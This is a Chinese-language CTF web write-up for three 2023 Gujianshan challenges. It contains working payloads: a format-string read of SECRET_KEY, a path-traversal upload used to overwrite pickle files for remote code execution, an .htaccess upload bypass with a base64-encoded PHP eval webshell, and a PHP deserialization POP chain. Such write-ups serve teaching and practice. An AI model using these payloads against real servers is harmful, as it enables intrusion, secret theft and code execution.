[2023古剑山]WEB WP

摸🐟

easy_pickle

dirsearch扫出源码

# ! /usr/bin/env python
# -*- coding: utf-8 -*-
# __author__ = "JrXnm"
# Date: 19-6-10
from flask import Flask, request, \
    session, g, redirect, url_for, \
    abort, render_template, flash, \
    render_template_string
import os
from settings import *
import pickle
import re
import traceback

app = Flask(__name__)
app.config.update(dict(
    DATABASE='',
    DEBUG=True,
    SECRET_KEY=os.environ.get('SECRET_KEY'),
))
app.config.from_envvar('FLASKR_SETTINGS', silent=True)


class ErrorHandler():
    def __init__(self):
        self.notfound = "Oops! That page doesn't exist."
        self.badreqyest = "Your Rquest We Could Not Understand"


@app.errorhandler(404)
def page_not_found(error):
    template = '''
    <div class="center-content error">
        <h1>{error.notfound} !!!</h1>
        <h2>''' + request.url + '''</h2>
    </div>
    '''
    error = ErrorHandler()
    return template.format(error=error), 404


def get_books(book_name=None):
    if book_name:
        try:
            with open('./books/' + book_name, 'rb') as f:
                book = pickle.load(f)
            return book
        except:
            return None
    else:
        books = []
        dirs = ['白夜行', '解忧杂货店', '旧日向晚', '围城', '小王子', '追风筝的人']
        for book_name in dirs:
            try:
                with open('./books/' + book_name, 'rb') as f:
                    book = pickle.load(f)
            except:
                continue
            books.append(book)
        return books


def save_book(book_name, book_bio, book_img, book_price, book_num):
    book = pickle.dumps((book_name, book_img, book_bio, book_price, book_num))
    with open('./books/' + book_name, 'wb') as f:
        f.write(book)


@app.route("/bookAdd", methods=['POST', 'GET'])
def upload():
    if session.get('logged_in', None) and session.get('name', None) == 'admin':
        if request.method == 'POST':
            try:
                book_name = request.form.get('book_name')
                book_bio = request.form.get('book_bio')
                book_price = int(request.form.get('book_price'))
                book_num = int(request.form.get('book_num'))

                f = request.files['myfile']
                book_img = f.filename
                save_book(book_name, book_bio, book_img, book_price, book_num)
                f.save("./static/img/" + f.filename)
            except Exception as e:
                traceback.print_exc()
                return "Something Wrong!!!"
            return "Book Add Success"
        else:
            return render_template('tmpl/bookAdd.html')
    return 'You are not login'


# 主页
@app.route('/')
@app.route('/index')
def index():
    if session.get('logged_in', None):
        name = session.get('name')
        if name == 'admin':
            return render_template('index.html')
    else:
        session['logged_in'] = 0
        session['name'] = 'Anonymous'
        msg = 'Please Login First, {} '

    return render_template('index.html', msg=msg.format(session.get('name')))


@app.route('/bookDetail/<string:book_name>')
def book_detail(book_name):
    book = get_books(book_name)
    return render_template('tmpl/bookDetail.html', book=book)


@app.route('/backup')
def hint():
    return open(__file__).read()


@app.route('/bookList')
def book_list():
    books = get_books()
    return render_template('tmpl/bookList.html', books=books)


if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=8080)

@app.errorhandler(404)存在格式化字符串漏洞,用这个先读环境变量里的SECRET_KEY。error是这个环境中的一个对像,而这里也直接引入了os模块,所以直接在globals里面拿就行了。

/{error.__init__.__globals__[os].__dict__[environ]}

pickle反序列化。get_books里有pickle.load(f)/bookAdd可以写入文件。注意save_book写入的是一个元组,这是没法写入恶意类的。

但是这里对request.files['myfile']是直接写入的,而且没有对文件名称处理,因此可以目录穿越

f = request.files['myfile']
f.save("./static/img/" + f.filename)

这里可以覆盖./book/白夜行然后访问/bookList,或随便写一个访问/bookDetail/xxx

弹个shell,拿到flag

另外也可以覆盖index.html,直接用模版执行代码。

upload_2_shell

使用XBM文件头,上传.htaccess。

#define width 1337
#define height 1337
AddType application/x-httpd-php .sky
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.sky"

因为对文件内容过滤了<?,所以使用base64编码。

上传shell.sky,用'12'补足base64解码所需的8字节

GIF89a12
PD9waHAgZXZhbCgkX1JFUVVFU1RbJ3NreSddKTs/Pg==

成功getshell

unse

php伪协议读文件/index.php?fun=php://filter/read=convert.base64-encode/resource=test.php

cfun处可以令$tmp='flag'来读取$flag,构造pop链

<?php
class afun {
    private $a;
    public function __construct(){
        $this->a = new bfun();
    }
    function __wakeup(){
        $temp = $this->a . 'ctf';
    }
}

class bfun {
    private $items = array();
    public function __construct(){
        $this->items = array("dd"=>new cfun());
    }
}

class cfun {
    private $params;
    public function __construct(){
        $this->params = array("knife"=>"flag");
    }
}


$a = new afun();
echo serialize($a);